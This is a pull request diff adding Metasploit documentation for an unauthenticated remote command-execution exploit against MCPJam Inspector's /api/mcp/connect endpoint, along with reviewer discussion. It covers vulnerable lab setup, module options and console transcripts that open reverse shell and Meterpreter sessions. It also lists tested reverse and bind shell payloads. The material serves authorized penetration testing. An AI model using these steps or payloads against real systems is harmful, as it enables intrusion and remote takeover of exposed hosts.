Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
237 changes: 237 additions & 0 deletions documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,237 @@
## Vulnerable Application

MCPJam Inspector is a local-first development and debugging tool for Model Context Protocol (MCP) servers.
Versions 1.4.6 and earlier have been tested as affected by an unauthenticated remote command execution vulnerability in the
`/api/mcp/connect` endpoint. The endpoint accepts a JSON `serverConfig` object with `command` and `args` fields
used to launch an MCP server. When MCPJam Inspector is exposed on a routable interface, a remote attacker can
supply an arbitrary command and execute code as the user running MCPJam Inspector.

The GitHub Security Advisory for CVE-2026-23744 states that affected versions are `<= 1.4.2`; however, local
testing of GitHub tags through `v1.4.6` also confirmed command execution through this module. Local testing found
that `v1.5.0` requires a session token for the connect endpoint and is not vulnerable to this unauthenticated
exploit path. This module currently provides a Unix command target only.

## Testing

### Setup a vulnerable MCPJam Inspector instance

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in da5dfb2. I added the official mcpjam/mcp-inspector:v1.4.2 container as the primary reproducible test setup, kept the npm/source-build alternatives, and validated both check and command execution against the official container.

The official MCPJam Inspector 1.4.2 container provides a reproducible test target. The application runs as the
unprivileged `node` user and listens on port 6274. The following command binds the vulnerable service to the local
host only:

```
docker run --rm -d --name mcpjam-v142 \
-p 127.0.0.1:6274:6274 \
mcpjam/mcp-inspector:v1.4.2
```

Use an isolated test network and replace the loopback bind with an authorized lab interface only when testing from
a separate Metasploit host. Do not expose this intentionally vulnerable container to an untrusted network.

Alternatively, install Node.js and run the vulnerable npm package. MCPJam Inspector 1.4.2 binds the server to all
interfaces and uses port 6274 by default. The `SERVER_PORT` environment variable can be used to select a different
port.

```
SERVER_PORT=6274 npx @mcpjam/inspector@1.4.2
```

To build from source instead, check out a vulnerable GitHub tag and run the production build:

```
git clone https://github.com/MCPJam/inspector.git
cd inspector
git checkout v1.4.2
npm run install:deps
npm run build
SERVER_PORT=6274 node bin/start.js
```

Verify that the service is reachable:

```
curl http://192.0.2.10:6274/
curl -i -X POST http://192.0.2.10:6274/api/mcp/connect \
-H 'Content-Type: application/json' \
-d '{"serverId":"test"}'
```

A vulnerable service should return an MCPJam Inspector web UI on `/`. The incomplete `/api/mcp/connect` request
should return an error indicating that `serverConfig` is required.

## Verification Steps

1. Start `msfconsole`.
2. Run: `use exploit/multi/http/mcpjam_inspector_rce`.
3. Set `RHOSTS`, `RPORT`, `SSL`, and `TARGETURI` as needed.
4. Run `check`.
5. For command-output testing, set `PAYLOAD` to `cmd/unix/generic`, set `FETCH_OUTPUT` to `true`, and set `CMD`.
6. For a session, set a Unix command shell payload such as `cmd/unix/reverse_bash`, or a Linux command fetch payload
such as `cmd/linux/http/x64/meterpreter_reverse_tcp`.
7. Run the module.

## Options

### FETCH_OUTPUT

When set to `true`, the module waits for the MCP tool command to finish and prints stdout/stderr from the MCP
response. This is useful with `cmd/unix/generic` and short diagnostic commands such as `id` or `uname -a`.

For reverse shell or other long-running session payloads, keep `FETCH_OUTPUT` set to `false` so the payload is
spawned asynchronously and the MCP tool call returns immediately.

### EXEC_METHOD

The default `mcp_tool` method starts a transient Node.js stdio MCP server and executes the Metasploit payload
through the MCP tool API. This is the most reliable method because it satisfies the MCP handshake expected by
MCPJam Inspector.

The `direct_sh` method sends `/bin/sh -c <payload>` directly through `/api/mcp/connect`. It is useful for quick
manual testing but non-MCP payloads may cause the target to return an MCP connection error after command dispatch.

### SERVER_ID

MCP server ID to use for the transient MCP connection. The module generates a random default when it is loaded.

## Scenarios

### MCPJam Inspector 1.4.2 on Linux - check and command output

```
msf6 > use exploit/multi/http/mcpjam_inspector_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10
RHOSTS => 192.0.2.10
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > check
[*] Starting transient Node.js MCP command server as server ID check-abc12345
[+] 192.0.2.10:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true
FETCH_OUTPUT => true
msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id
CMD => id
msf6 exploit(multi/http/mcpjam_inspector_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-def67890
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-xyz12345
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command result: uid=1000(node) gid=1000(node) groups=1000(node)
[*] Exploit completed, but no session was created.
```

The final `Exploit completed, but no session was created` message is expected for `cmd/unix/generic` because it
executes a command and does not create a Metasploit session.

### MCPJam Inspector 1.4.2 on Linux - Unix reverse shell

```
msf6 > use exploit/multi/http/mcpjam_inspector_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10
RHOSTS => 192.0.2.10
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/reverse_nodejs
PAYLOAD => cmd/unix/reverse_nodejs
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20
LHOST => 192.0.2.20
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/http/mcpjam_inspector_rce) > run

[*] Started reverse TCP handler on 192.0.2.20:9001
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-ghijk123
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-lmnop456
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command shell session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234) at 2026-01-17 12:00:00 +0000

id
uid=1000(node) gid=1000(node) groups=1000(node)
```

### MCPJam Inspector 1.4.2 Docker container - Linux x64 Meterpreter

The official container includes `wget` and provides a writable `/tmp` directory. Set the fetch host and callback
host to an address reachable from the container:

```
msf6 > use exploit/multi/http/mcpjam_inspector_rce
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10
RHOSTS => 192.0.2.10
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_DELETE true
FETCH_DELETE => true
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_SRVHOST 192.0.2.20
FETCH_SRVHOST => 192.0.2.20
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20
LHOST => 192.0.2.20
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT false
FETCH_OUTPUT => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > run

[*] Started reverse TCP handler on 192.0.2.20:9001
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Meterpreter session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234)

meterpreter > getuid
Server username: node
meterpreter > sysinfo
Architecture : x64
Meterpreter : x64/linux
```

## Tested Payloads

The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments:

@bwatters-r7 bwatters-r7 Jul 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd love to see a meterpreter payload included in the testing- something like cmd/linux/http/x64/meterpreter_reverse_tcp should work and give a meterpreter session on the host.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed and tested in da5dfb2. I expanded the target metadata to Unix/Linux, removed the PayloadType compatibility restriction that excluded Linux command-fetch adapters, and defaulted FETCH_COMMAND to WGET for this target. Confirmed I can successfully open cmd/linux/http/x64/meterpreter_reverse_tcp as the node user on the official v1.4.2 Linux x64 container and added the scenario to the documentation.


* `cmd/unix/generic`
* `cmd/unix/reverse_bash`
* `cmd/unix/reverse_nodejs`
* `cmd/unix/reverse_perl`
* `cmd/unix/reverse_python`
* `cmd/unix/reverse_netcat`
* `cmd/unix/bind_nodejs`
* `cmd/unix/python/pingback_reverse_tcp`
* `cmd/unix/python/shell_reverse_tcp`
* `cmd/linux/http/x64/meterpreter_reverse_tcp`

Other `cmd/unix` payloads may also work if the required interpreter or utility is present on the target and the
network path is permitted.

## Tested Versions

The module was tested successfully against MCPJam Inspector `v1.4.1`, `v1.4.2`, `v1.4.3`, `v1.4.4`, `v1.4.5`,
and `v1.4.6` built from the GitHub source repository. The first fixed GitHub tag identified during testing was
`v1.5.0`; the `v2.23.0` tag also required session-token authentication for the relevant API endpoints. The module
was also tested against the official `mcpjam/mcp-inspector:v1.4.2` Linux x64 container and two Linux lab deployments
exposing MCPJam Inspector over HTTP/HTTPS.

When the check method receives an authentication response such as `Unauthorized` or `Session token required` from
the connect endpoint, it reports the target as not exploitable by this unauthenticated module.
Loading
Loading